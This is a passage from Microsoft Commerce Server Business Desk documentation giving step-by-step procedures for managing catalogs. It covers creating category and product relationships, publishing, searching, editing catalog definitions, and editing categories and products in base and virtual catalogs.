  • Commerce Server Solution Sites do not display relationships. If your site developer used a Solution Site to build your site, you may not be able to create category and product relationships. For information about displaying relationships on your Web site, contact your site developer.

To create a category relationship

To create a product relationship

To create a category-to-category relationship

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog in which you want to create a relationship, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> screen, in the Categories section, select the category to which you want to add a relationship, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (category) screen, in the Category Relationships section, click New, and then do the following:
    Use this | To do this
    Relationship | Type the name of the relationship.
    Item | Click the ellipsis button […] to open the Product Picker dialog box.
  5. In the Product Picker dialog box, select the catalog that contains the category with which you want to work.
  6. Select the category from the Categories list to which you want to create a relationship, and then click OK.

    The category you chose appears in the Item box of the Category Relationships section.

  7. Click Accept to save the category relationship.
  8. To save the changes and return to the Catalogs screen, click Save and go back on the toolbar.
Note
  • You can also use this procedure to create a category-to-product relationship.

To create a product-to-product relationship

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog that contains the product for which you want to create a relationship, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> screen, in the Products section, select the product to which you want to add a relationship, and then click Edit.
  4. In the Catalog Editor - <Catalog Name> (product) screen, in the Product Relationships section, do the following:
    Use this | To do this
    Relationship | Type the name of the relationship.
    Item | Click the ellipsis button […] to open the Product Picker dialog box.
  5. In the Product Picker dialog box, select the catalog that contains the product with which you want to work.
  6. Select a category from the Categories list, select a product from the Products in Category list, and then click OK.

    The category you chose appears in the Item box in the Product Relationships section. Product appears in the Item Type box indicating that it is a product relationship.

  7. Click Accept to save the product relationship.
  8. To save your changes and return to the Catalog Editor - <Catalog Name> screen, click Save and go back on the toolbar.
Note
  • You can also use this procedure to create a product-to-category relationship.


Refreshing and Publishing a Catalog

You use the Catalog Editor module to update your site with new information that you have added to your Web site. In most e-commerce businesses, these changes are first made to a test site, and then at scheduled times, the changes are published to a production site. Contact your system administrator for information about when and how changes are made to your production site.

When you refresh and publish a catalog, you also automatically update the full-text index. The full-text index is that portion of a catalog that stores all of the full-text words and their locations for a given table. When you change a catalog (such as adding or removing products, or changing the values of free text searchable fields), you must update the full-text index to reflect the changes so the search features work correctly.

To refresh and publish your catalogs

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, click Publish a catalog on the toolbar.

Your updated catalogs are published on your Web site, and then all catalog caches are refreshed.


Sending a Catalog to a Trading Partner

If both your company and your trading partners use Microsoft BizTalk Server, you can trade catalogs, orders, documents, and other electronic forms with each other. BizTalk Server acts as a gateway for sending business documents between your company and your trading partners (also known as vendors). For example, vendors can send you their catalogs, and you can post their catalogs on your Web site with your own catalog. And, when users place orders on your Web site, the orders are sent directly to the vendor for fulfillment.

Each of your trading partners can send you one or more catalogs of their products. You can aggregate catalogs from vendors into a virtual catalog, which appears as one catalog to users visiting your site.

Trading partners are set up using BizTalk Messaging Manager; they must be set up before you can send them a catalog. For information about setting up your site to send catalogs to trading partners, contact your system administrator.

To send a catalog to a trading partner

  1. Contact your system administrator to verify that you and your trading partners use BizTalk Server, and that the App Default Config resource has been configured so the BizTalk Options property is set to 1.
  2. In Catalogs, click Catalog Editor.
  3. In the Catalogs screen, select the catalog you want to send, and then click Send on the toolbar.
  4. In the Select Vendor dialog box, select the vendor the catalog is going to, and then click OK.

See Also

Exporting a Catalog


Finding Items in a Catalog

You use the Catalog Editor module to search a catalog. You can perform the following searches:

  • Keyword search. When you add property definitions to your catalog, you select the Free text searchable box to specify that they are available for free text search. A free text search retrieves all instances of the property in your catalog. These property definitions are logged into an index.

    You must update the full-text index after changes are made to your catalogs that are marked as searchable. For information about updating the full-text index, see Refreshing and Publishing a Catalog.

  • Search by properties. You can search for properties that have specific values. For example, Price < $10 and Color = Red. By default, all properties can be used in property searches.

To find products in a catalog by keyword

To find products in a catalog by property

To find products in a catalog by keyword

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to search, and then click Open on the toolbar. If this is a multilingual catalog, the catalog is opened in the default language, unless otherwise specified.
  3. In the Catalog - <Catalog Name> screen, in the Products section, select Keyword Search from the Search Method drop-down list.
  4. In the Keywords box, type the keyword on which to conduct the search, and then click Find Now.

The keyword search results appear in the Products table.

To find products in a catalog by property

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to search, and then click Open on the toolbar. If this is a multilingual catalog, the catalog is opened in the default language, unless otherwise specified.
  3. In the Catalog - <Catalog Name> screen, in the Products section, select Search by properties from the Search Method drop-down list, and then click New.
  4. In the Target based upon following conditions table, do the following:
    Boxes Left to Right | Use this | To do this
    First | Select a property here | Select the property type.
    Second | Select an operator here | Select a search operator.
    Third | Enter a property value | Type the value to be evaluated.
  5. Type the value you want to search on in the last text box.
  6. Click Find Now.

    The search results appear in the Products table. The following figure shows results from a property search.

    A sample screen that shows results using a property search.

See Also

Refreshing and Publishing a Catalog


Managing Catalog Definitions

As your business needs change, you may also need to change your catalog definition. You can add new property definitions, edit existing property definitions, or delete property definitions that you no longer need. You can also change or add new product and catalog definitions.

When you make changes to the catalog definition, these changes can affect existing categories and products that are associated with the property definitions you are changing or deleting. For example, if you need to add a vendor ID to your CD product definition, all product instances that use the CD product definition will include a box for vendor ID.

This section contains:

  • Finding and Viewing a Catalog Definition
  • Editing a Catalog Category Definition
  • Editing a Catalog Product Definition
  • Editing a Catalog Property Definition
  • Copying a Catalog Definition
  • Deleting a Catalog Definition


Finding and Viewing a Catalog Definition

You use the Catalog Definition Designer module to find and view property definitions, category definitions, and product definitions.

To find a property definition

To view a list of property definitions

To view a list of category definitions

To view a list of product definitions

To find a property definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Property Definitions screen, click Find to display the Find box.
  4. In the Look for box, select the property definition characteristics from the drop-down list, and then do the following:
    Use this | To do this
    Name | Type the name (or part of the name) of the property.
    Type | Select the property type from the drop-down list.
    Assigned to All Product Types | Select Yes or No from the drop-down list. Selecting Yes indicates to search only those properties that are common to all product types.
    All Definitions | Search all existing definitions.

    Note

    • If you select All Definitions, the Search only the list below box option is made unavailable, all the filters are removed, and all the definitions are verified.
  5. Click Find Now.

The results of your search appear in a list box below the Find box.

To view a list of property definitions

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions to display the Catalog Definition Designer: Property Definitions screen.

This screen displays a list of all the property definitions (in alphabetical order) and their data type in your catalog.

To view a list of category definitions

  • In Catalogs, click Catalog Definition Designer to display the Catalog Definition Designer: Category Definitions screen.

This screen displays a list of all the category definitions in your catalog.

To view a list of product definitions

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Product Definitions to display the Catalog Definition Designer: Product Definitions screen.

This screen displays a list of all the product definitions in your catalog.


Editing a Catalog Category Definition

You can edit category definitions after you have populated the catalog categories, but these changes will affect the catalog that users see on your Web site. In many organizations, a person who understands database concepts creates and edits the catalog definition.

Note

  • You cannot change the name or type of property in a catalog definition. You can delete the property, and then add it again using a new name and type.

To edit a category definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Category Definitions from the drop-down list.
  3. Select the category you want to change, and then click Open on the toolbar.
  4. In the Category Definitions screen, in the Category Properties section, select the property you want to change in the Assigned Properties box, and then do one of the following:
    • To add a property to a category definition, select the property you want to add from the Available Properties box, and then click Add. You can create a property by clicking New if the property does not exist.
    • To remove a property from a category definition, select the property you want to remove from the Assigned Properties box, and then click Remove.
    • To change the order of the properties assigned to a category, select the property you want to move in the Assigned Properties box, and then click either Move Up or Move Down to change the property order.
  5. To save your changes and return to the Catalog Definition Designer: Category Definitions screen, click Save and go back on the toolbar.


Editing a Catalog Product Definition

You can edit product definitions after you have populated the catalog with products, but these changes will affect the catalog that users see on your Web site. In many organizations, a person who understands the database concepts creates and edits the catalog definition.

Note

  • You cannot change the name or type of property in a catalog definition. You can delete the property, and then add it again using a new name and type.

To edit a product definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Product Definitions from the drop-down list.
  3. Select the product definition you want to change, and then click Open on the toolbar.
  4. In the Catalog Definition Designer: Product Definition screen, in the Product Properties section, select the property you want to change in the Assigned Properties box, and then do one of the following:
    • To add a property to a product definition, select the property you want to add from the Available Properties box, and then click Add. You can create a property by clicking New if the property does not exist.
    • To remove a property from a product definition, select the property you want to remove from the Assigned Properties box, and then click Remove.
    • To change the order of the properties assigned to a product, select the property you want to move in the Assigned Properties box, and then click either Move Up or Move Down to change the property order.
  5. To save your changes and return to the Catalog Definition Designer screen, click Save and go back on the toolbar.


Editing a Catalog Property Definition

You can edit property definitions after you have populated the catalog with products and categories, but these changes will affect the catalog that users see on your Web site. In many organizations, a person who understands the database concepts creates and edits the catalog definition.

Notes

  • You cannot change the name or type of property in a catalog definition. You can delete the property, and then add it again using a new name and type.
  • If you select the Assign to all product definitions option, any product definitions you create will automatically inherit this property. If you import an XML catalog in which this property has been set, it will affect all future product definitions you create.
  • Use the Is required box to specify that a value for the property is required. When a property is required, a Required appears next to it.

To edit a property definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer screen, click View on the toolbar, and then select Property Definition from the drop-down list.
  3. In the Property Definitions screen, select the property you want to change, and then click Open on the toolbar.
  4. The boxes that appear in the Property Definition: <property> screen depend on the type of property definition. Do the following:
    Use this | For property type | To do this
    Name | All | You cannot change this value.
    Display name | All | Type the name that is to be displayed on your Web site as a label for this property. For example, for a property named "ShirtColor," you may want the label to be "Color."
    Display on site All Select this check box to display the specified property to users on your Web site. If you want to keep some properties private for internal use, do not select this check box.

    By default, this check box is selected for long text properties.
    Free text searchable Text, multiple choice Select this check box so that free text searching on your catalog will apply to values stored in this property.

    When you select the Free text searchable option, the property definition is added to the full-text index for the catalog. You must update the full-text index after changing items in your catalogs that are marked as searchable. For information about updating the full-text index, see Refreshing and Publishing a Catalog.
    Specification searchable Text, number, decimal, money/currency, date/time, multiple choice, multilingual Select this check box for this property to be used in specification searches.

    By default, this option is not selected for long text properties because long description text is not suitable in a specification search.
    Minimum length Text, multilingual Type the number that defines the minimum length of the value for this property type.

    If you specify a length other than zero, this property becomes a required property for a product or category definition, and a Required will appear next to it.
    Maximum length | Text, multilingual | Type the number that defines the maximum length of the value for this property type.
    Minimum value | Number, decimal, money/currency | Type the number that defines the minimum value for this property type.
    Maximum value Number, decimal, money/currency Type the number that defines the maximum value for this property type.

    For example, to add a property for money, enter a number that includes the decimal point and any fractional amount that could accommodate the greatest monetary value to be applied to a product.
    Earliest date | Date/time | Type the date to indicate the earliest date that you want this property to be valid. For example, the earliest date users can order a new record.
    Earliest time | Date/time | Type the time in 00:00 format for the earliest time that is to be associated with the property. For example, a start time.
    Latest date | Date/time | Type the date to indicate the latest date that you want this property to be valid.
    Latest time | Date/time | Type the time in 00:00 format (for example, 22:00 is 10 P.M.) to indicate the latest time that you want this property to be valid.
    Default value | Text, number, decimal, money/currency, date/time, multiple choice, multilingual | Type the default value for the property type. The format varies depending on the property type you add.
    Assign to all product types All Select this check box to assign the property to all product types. For example, you may want to select this for generic product properties, such as name, description, or weight.

    If you select the Assign to all product definitions check box, any definitions you create automatically inherit this property.
    Store data for analysis | All, except long text and long multilingual text | Select this check box to export the property to the Data Warehouse. Exporting data to the Data Warehouse makes data available for reporting purposes.
    Display in products list | All | Select this check box to display this property in the list of products on your site.
    Is required | All except multilingual multiple choice | Select this check box if this property must contain a value. When a property is required, a Required appears next to it.
  5. To save the property definition, click Save on the toolbar.
  6. To secure the property so other Business Desk users cannot edit or delete it, in the Security section, click Permissions.
  7. Specify the Windows accounts for users who have been granted security permissions to update this catalog, and then click Close.
  8. To save the permissions for the property definition and return to the Catalog Definition Designer: Property Definitions screen, click Save and go back on the toolbar.

All categories and products that use this property definition are automatically updated.

See Also

Adding a Catalog Multilingual Property Definition

Adding a Catalog Product Definition

Adding a Catalog Category Definition


Copying a Catalog Definition

You use the Catalog Definition Designer module to copy an existing property definition, product definition, or category definition. For example, you may want to copy a definition to create a new definition that is similar to it.

To copy a category definition

To copy a product definition

To copy a property definition

To copy a category definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Category Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Category Definitions screen, select the category you want to copy, and then click Copy on the toolbar.
  4. In Category Definition: New screen, in the Name box, type a name for the new category definition. The maximum length is 128 characters.
  5. Edit the properties in the Assigned properties box if you need to change the current category properties for the new category definition.
  6. To save the new category definition and return to the Catalog Definition Designer: Category Definitions screen, click Save and go back on the toolbar.

To copy a product definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Product Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Product Definitions screen, select the product definition you want to copy, and then click Copy on the toolbar.
  4. In the Product Definition Properties section, in the Name box, type a name for the new product definition. The maximum length is 128 characters.
  5. Edit the Assigned properties box if any changes are needed to the current product properties for the new product definition.
  6. To save the new product definition and return to the Catalog Definition Designer: Product Definitions screen, click Save and go back on the toolbar.

To copy a property definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Property Definitions screen, select the property you want to copy, and then click Copy on the toolbar.
  4. In the Property Definitions: New screen, do the following:
    Use this | For property type | To do this
    Name All Type a name for the property.

    Note

    • After you save this property, you cannot change the property name.
    Display on site | All | Select this check box to display the specified property to users on your Web site. If you want to keep some properties private for internal use, do not select this check box.
    Display name | All | Type the name that is to be displayed on your Web site as a label for this property. For example, for a property named "ShirtColor," you may want the label to be "Color."
    Free text searchable Text, multiple choice, file Select this check box so that free text searching on your catalog will apply to values stored in this property.

    When you select the Free text searchable option, the property definition is added to the full-text index for the catalog. You must update the full-text index after changing items in your catalogs that are marked as searchable. For information about updating the full-text index, see Refreshing and Publishing a Catalog.
    Specification searchable | All | Select this check box for this property to be used in specification searches. A specification search enables users to select the values of interest to them that help them find particular products.
    Minimum length | Text | Type the number that defines the minimum length of the value for this property type. The default minimum length is zero (0) characters. If you specify a length other than zero, it becomes a required property for the property definition.
    Maximum length | Text | Type the number that defines the maximum length of the value for this property type. The maximum allowed length is 3,600 characters.
    Minimum value | Number, decimal, money/currency | Type the number that defines the minimum value for this property type. The default minimum value is zero (0).
    Maximum value | Number, decimal, money/currency | Type the number that defines the maximum value for this property type. For example, to add a property for money, enter a number including the decimal point or a comma and any fractional amount that could accommodate the greatest monetary value that could be applied to a product.
    Earliest date | Date/time | Type the date to indicate the earliest date that you want this property to be valid. For example, the earliest date users can order a new record.
    Earliest time | Date/time | Type the time in 00:00 format for the earliest time that is to be associated with the property. For example, a start time.
    Latest date | Date/time | Type the date to indicate the latest date that you want this property to be valid. For example, the latest date users can order a promotional product.
    Latest time | Date/time | Type the time in 00:00 format to indicate the latest time that you want this property to be valid. For example, an expiration time.
    Default value | Text, number, decimal, money/currency, date/time, multiple choice | Type in the default value for the property type. This value varies depending on the property type you are adding.
    Assign to all product types | All | Select this check box to assign this property to all product types.
    Export to data warehouse | All | Select this check box to export this property to the Data Warehouse. Exporting data to the Data Warehouse makes data available for reporting purposes.
    Display in products list | All | Select this check box to display this property in the products list.
  5. To save your changes and return to the Catalog Definition Designer: Category Definitions screen, click Save and go back on the toolbar.


Deleting a Catalog Definition

You use the Catalog Definition Designer module to delete property definitions, product definitions, and category definitions. Before you delete a definition, verify that the definition is not used by any existing property, product, or category in your catalogs. If you do delete a product or category definition that has products or categories based on it, you will receive a warning message.

To delete a category definition

To delete a product definition

To delete a property definition

To delete a category definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Category Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Category Definitions screen, select the category definition you want to delete, and then click Delete on the toolbar.
  4. In the Confirm Category Definitions Delete dialog box, click Yes to delete the definition.

To delete a product definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Product Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Product Definitions screen, select the product definition you want to delete, and then click Delete on the toolbar.
  4. In the Confirm Product Definitions Delete dialog box, click Yes to delete the definition.

To delete a property definition

  1. In Catalogs, click Catalog Definition Designer.
  2. In the Catalog Definition Designer: Category Definitions screen, click View on the toolbar, and then select Property Definitions from the drop-down list.
  3. In the Catalog Definition Designer: Property Definitions screen, select the property definition you want to delete, and then click Delete on the toolbar.
  4. In the Confirm Property Definitions Delete dialog box, click Yes to delete the definition.


Managing Products, Categories, Catalogs, and Catalog Sets

You use the Catalog Editor module to view, find, edit, and delete existing products, categories, catalogs, and catalog sets.

This section contains:

  • Viewing a List of Catalogs
  • Viewing a List of Categories in a Catalog
  • Editing the Properties of a Catalog
  • Editing a Category in a Base Catalog
  • Editing a Category in a Virtual Catalog
  • Editing a Product in a Base Catalog
  • Editing a Product in a Virtual Catalog
  • Editing Category Hierarchies
  • Editing Product Variants
  • Changing a Catalog Set
  • Deleting a Category from a Catalog
  • Deleting a Product from a Catalog
  • Deleting a Base Catalog
  • Deleting a Catalog Set
  • Deleting Product Variants


Viewing a List of Catalogs

You use the Catalog Editor module to view a list of all existing catalogs.

To view a list of existing catalogs

  • In Catalogs, click Catalog Editor.

The Catalogs screen appears containing a list of all existing catalogs.


Viewing a List of Categories in a Catalog

You can view the categories and the category hierarchy for a selected catalog. By viewing the parent and child associations between categories, you can determine where additional categories might be needed, and where some existing categories need to be either changed or deleted. For example, if you want to add a category for music-related videotapes, you can review the list of categories to determine whether or not the new category would be a parent category or if it should be associated with an existing category.

To view a list of categories assigned to a catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog that contains the categories you want to view, and then click Open on the toolbar.

    The Catalog Content - <Catalog Name> screen appears.

All categories assigned to the catalog appear in the Categories section.


Editing the Properties of a Catalog

You use the Catalog Editor module to edit the catalog properties of a base catalog or a virtual catalog. For example, you can edit the category and property information for a catalog or start and end dates for a catalog.

Notes

  • You cannot edit the internal name of a catalog. You can edit the catalog name that is displayed on your Web site.
  • For information about including the products and categories from a base catalog in a virtual catalog, see Including Base Catalogs in a Virtual Catalog.
  • If you change the reporting language, the next time your system administrator imports catalog data into the Data Warehouse, it will use the new language. This may result in some data in the Data Warehouse being in one language and other data being in another language.

    Your system administrator must perform a full import using the Product catalog data import Data Transformation Services (DTS) task so all the data is in the same language. (Full import will update the properties of the product because the product keys are the same in any language.)

To edit catalog properties

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to edit, and then click Edit Properties on the toolbar.
  3. The Catalog Properties- <Catalog Name> screen appears. You can edit any of the properties on this screen that are not assigned by Commerce Server.
    Use this | To do this
    Name Displays the internal catalog name. You cannot change this name, but you can edit the catalog name that is displayed on your site; see step 4.

    This name cannot match the name of any existing catalog in the Commerce Server catalog database.

    This name is used in catalog reports.

    A catalog name can be up to 85 characters long.
    Start date | Type the start date for the catalog. This date does not have any effect on your Web site. However, if you exchange catalogs with a trading partner, this date lets your trading partner know the first date the catalog is valid.
    End date | Type the end date for the catalog. Your trading partners use this date to determine the last date the catalog is valid. By default this will be the current date plus three months. For example, if you create your catalog in December, the catalog end date will be in March.
    Currency | Select a currency for the catalog from the drop-down list. The default is USD.
    Unit of weight measure Displays the unit of weight for the products in this catalog. Your system administrator specifies this value during Commerce Server configuration.

    For information about how to add a new unit of weight measure, see Adding Custom Catalog Attributes and Property Attributes.
    Product unique ID Display the unique identifier for products in this catalog. If your products do not have variants, this could be stock-keeping unit (SKU) number. If your products have variants, this could be Name or Title, and the Product variant unique ID would be SKU.

    For information about assigning unique IDs, see Best Practices for Catalogs.
    Product variant unique ID Display the unique identifier for product variants. For example, this could be SKU or another unique identifier. If your products do not have variants, this value should be the same as the one in the Product unique ID box.

    For information about assigning unique IDs, see Best Practices for Catalogs.
  4. In the Catalog Languages section, do the following:
    Use this | To do this
    Add | Add languages that the catalog will support.
    Remove | Remove languages that the catalog does not support. If you remove all languages, the catalog will support the default language, which is the same language as the Microsoft Windows operating system on the Business Desk Web server.
    Default Language Select from the drop-down list the default language for your catalog.

    If you do not specify a default language, Commerce Server uses the same language as the Microsoft Windows operating system on the Business Desk Web server.
    Reporting Language Select from the drop-down list the language that is to be used for the properties that are to be stored in the Data Warehouse.

    This is the language that will be used for reports and analysis.

    Changing the reporting language after your site is in production may result in report data appearing in two languages, depending on the period of time the report covers.

    Your system administrator must perform a full import using the Product catalog data import DTS task so all the data is the same language. (Full import will update the properties of the product because the product keys are the same in any language.)
  5. To enter the display name for the catalog, in the Language box, select a language, and then click Edit.
  6. In the Display name box, type the name for the catalog in the selected language. This is the catalog name that will appear on your Web site.
  7. In the Dependent Catalogs section, Business Desk lists the virtual catalogs associated with this base catalog. For information about including a base catalog in a virtual catalog, see Including Base Catalogs in a Virtual Catalog.
  8. In the Security section, click Permissions, and then specify the Windows accounts for users who have been granted security permissions to update this catalog. For more information about granting security permissions, see About Business Desk Security.
  9. To save your edits and return to the Catalogs screen, click Save and go back on the toolbar.
  10. To publish the new product on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Best Practices for Catalogs

Including Base Catalogs in a Virtual Catalog


Editing a Category in a Base Catalog

You use the Catalog Editor module to edit the properties of an existing category in a base catalog. For example, you can change the price of the category, add or remove parent categories, and change the primary parent category.

Notes

  • You cannot edit internal category names. You can edit the name of the category that appears on your Web site.
  • When you add a new category to a base catalog, the category is automatically added to the associated virtual catalogs, depending on the inclusion rules.
  • You use the Catalog Editor module to grant permissions to Commerce Server Business Desk users who can edit this category. Do not use the Business Desk Permissions module.

To edit a category in a base catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog from which you want to edit a category, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> screen, in the Categories section, select the category you want to edit from the Categories list, and then click Edit.
  4. In the Catalog Editor – <Catalog Name> - (category) screen, the boxes that appear are based on the category definition of the category. More boxes may appear than those listed here. Do the following:
    Use this | To do this
    Name Displays the internal name of the new category. You cannot edit this name. The maximum length is 100 characters. Category names must be unique in each catalog.

    This name is used in catalog reports.
    Display name | Type the category name that is to be displayed on your Web site.
    Description | Type a description for the category that is to be displayed on your Web site.
    Price Type a price for the category. The price is assigned to all the products in this category.

    For information about assigning prices directly to the product or the product variant, see Pricing a Product in a Base Catalog and Pricing at the Product Variant Level.
    Searchable Select this check box to have this category be a starting point for a specification search.

    When this check box is selected, this category will be listed on the Advanced Search page on the Web site.
  5. In the Assigned Categories section, do the following:
    Use this | To do this
    Available parent categories | Select parent categories to which you want to add the current category, and then click Add.
    Assigned parent categories Select the primary parent category, and then click Set.

    The primary parent category is used to determine the canonical path to that category.
    Available child categories | Select child categories to which you want to add the current category, and then click Add.
  6. In the Category Relationships section, to add a new category relationship, click New, and then do the following:
    Use this | To do this
    Relationship | Type a name for the new relationship (for example, accessory).
    Item | Type the name of the product or category in the relationship, or click the ellipsis button […] to display the Product Picker dialog box and select a category or product.
  7. Click Accept to save your edits.
  8. In the Security section, click Permissions.
  9. In the Accounts dialog box, select an account to which you want to grant or deny permissions to edit this category, or click Add Account to grant access to a new Windows group account.
  10. To save your edits and return to the Catalog - <Catalog Name> screen, click Save and go back on the toolbar.
  11. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Editing a Category in a Virtual Catalog


Editing a Category in a Virtual Catalog

You use the Catalog Editor module to edit the properties of a category that is specific to a virtual catalog. If the category is included from a base catalog, you must edit the category in the base catalog, and then rebuild the virtual catalog.

For example, you can change the price of the category, add or remove parent categories, and change the primary parent category.

Notes

  • When you edit a virtual catalog, you cannot edit a category that is included from a base catalog. You can edit only categories that are specific to the virtual catalog.
  • For instructions about including/excluding categories and products from a base catalog, see Including Base Catalogs in a Virtual Catalog.
  • You cannot edit internal category names. You can edit the name of the category that appears on your Web site.
  • When you add a new category to a base catalog, the category is automatically added to the associated virtual catalogs, depending on the inclusion rules.
  • You use the Catalog Editor module to grant permissions to Commerce Server Business Desk users who can edit this category. Do not use the Business Desk Permissions module.

To edit a category in a virtual catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the virtual catalog for which you want to edit a category, and then click Open on the toolbar.
  3. In the Catalog Content - <Catalog Name> screen, in the Categories section, select the category you want to edit from the Categories list, and then click Edit.

    The category must be specific to the virtual catalog. To edit a category that is included from a base catalog, you must edit the category in the base catalog, and then rebuild the virtual catalog.

  4. In the Catalog Editor – <Catalog Name> - (category) screen, the boxes that appear are based on the category definition of the category. More boxes may appear than those listed here. Do the following:
    Use this | To do this
    Name Displays the internal name of the new category. You cannot edit this name. The maximum length is 100 characters. Category names must be unique in each catalog.

    This name is used in catalog reports.
    Display name | Type the category name that is to be displayed on your Web site.
    Description | Type a description for the category that is to be displayed on your Web site.
    Price Type a price for the category. The price is assigned to all the products in this category.

    For information about assigning prices, see Pricing a Product in a Virtual Catalog and Converting Prices to an Alternate Currency.

    Searchable Select this check box to have this category be a starting point for a specification search.

    When this check box is selected, this category will be listed on the Advanced Search page on the Web site.
  5. In the Assigned Categories section, you can assign categories in a base catalog or the virtual catalog to be parent or child categories for the current category. Do the following:
    Use this | To do this
    Available parent categories | Select parent categories to which you want to add the current category, and then click Add.
    Available child categories | Select child categories to which you want to add the current category, and then click Add.
  6. In the Category Relationships section, to add a new category relationship, click New, and then do the following:
    Use this | To do this
    Relationship | Type a name for the new relationship (for example, accessory).
    Item | Type the name of the product or category in the relationship, or click the ellipsis button […] to display the Product Picker dialog box and select a category or product.
  7. Click Accept to save your edits.
  8. In the Security section, click Permissions.
  9. In the Accounts dialog box, select an account to which you want to grant or deny permissions to edit this category, or click Add Account to grant access to a new Windows group account.
  10. To save your edits and return to the Catalog - <Catalog Name> screen, click Save and go back on the toolbar.
  11. To publish the updated catalog on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.

See Also

Editing a Category in a Base Catalog


Editing a Product in a Base Catalog

You use the Catalog Editor module to edit an existing product in a catalog. For example, you can change the image file to post a new image of the product on your site.

Notes

  • You cannot edit the internal name of a product. You can edit the name of the product that appears on your Web site.
  • You can edit the name of a product relationship, but not the members of the relationship. To change the members, you must remove the relationship, and then create a new one.
  • After editing a product in a base catalog, if it is included in a virtual catalog, you must rebuild the virtual catalog.

To edit a product in a base catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the catalog you want to edit, and then click Open on the toolbar.
  3. In the Catalog Content- <Catalog Name> screen, in the Products section, perform a keyword search, specification search, or click Find All to find the product you want to edit.

    For instructions for finding a product, see Finding Items in a Catalog.

  4. Select the product you want to edit from the Products list, and then click Edit.
  5. In the Catalog Editor – <Catalog Name> - (product) screen, the boxes that appear are based on the product definition of the product. More boxes may appear than those listed here. Do the following:
    Use this | To do this
    Name Type the name of the product as it will appear on your Web site.

    This name is used in catalog reports.
    Description | Type the description of the product as it will appear on your Web site.
    Price | Type the price of the product.
  6. In the Product Variants section, click Edit, and then type the information for the available properties. When finished, click Done.

    Note

    • You can add product variants only if the product definition has been defined to include them. To edit the product definition so it includes product variants, see Editing a Catalog Product Definition.
  7. In the Assigned Categories section, do the following:
    Use this | To do this
    Available Categories Select the category you want to add the product to, and then click Add.

    If you want to remove an assigned category, click Remove.
    Assigned Categories Select the assigned category, and then click Edit if you want to edit the category.

    If you want to create a new category, click New.
    Primary parent category Select the category to be the primary parent category, and then click Set.

    The primary parent category is used to determine the canonical path to that product, or to apply category-level pricing rules to the product.
    Use Category Pricing | After you have set the primary parent category, select this option for the product to inherit the price from the category.
    Use Direct Pricing | After you have set the primary parent category, select this option for the product to use its own price.
    Refresh | After adding new categories to the catalog, click Refresh to display the new categories in the Available categories box.
  8. In the Product Family Relationships section, select the product relationship you want to edit, and then click Edit to change the name of the relationship.

    To change the item or catalog in the product relationship, select the relationship, click Remove, and then click New to create a new relationship.

  9. In the Product Picker dialog box, select the category or product you want in the relationship, and then click OK. To find the categories or products you want, you can browse or perform a keyword search.

    Note

    • In the Product Picker dialog box, Commerce Server truncates product names longer than 30 characters. If you have multiple products with the same first 30 characters, they will appear as duplicates.
  10. In the Product Family Relationships section, click Accept. Click New to continue adding more relationships.
  11. To save the product and return to the Catalogs screen, click Save and go back on the toolbar.
  12. If the product is included in a virtual catalog, select the virtual catalog, and then click Rebuild on the toolbar.
  13. To publish the new product on your Web site, click Publish a catalog on the toolbar.

The updated catalog is published on your Web site.


Editing a Product in a Virtual Catalog

You use the Catalog Editor module to edit an existing product in a catalog. For example, you may want to change the categories assigned to the product or the product relationships.

Notes

  • You cannot edit the internal name of a product. You can edit the name of the product that appears on your Web site.
  • When you edit a product in a virtual catalog, your changes apply only to the virtual catalog. They are not applied to the associated base catalogs.

To edit a product in a base catalog

  1. In Catalogs, click Catalog Editor.
  2. In the Catalogs screen, select the virtual catalog you want to edit, and then click Open on the toolbar.
  3. In the Catalog Content- <Catalog Name> screen, in the Products section, perform a keyword search, specification search, or click Find All to find the product you want to edit.

    For instructions for finding a product, see Finding Items in a Catalog.

  4. Select the product you want to edit from the Products list, and then click one of the following:
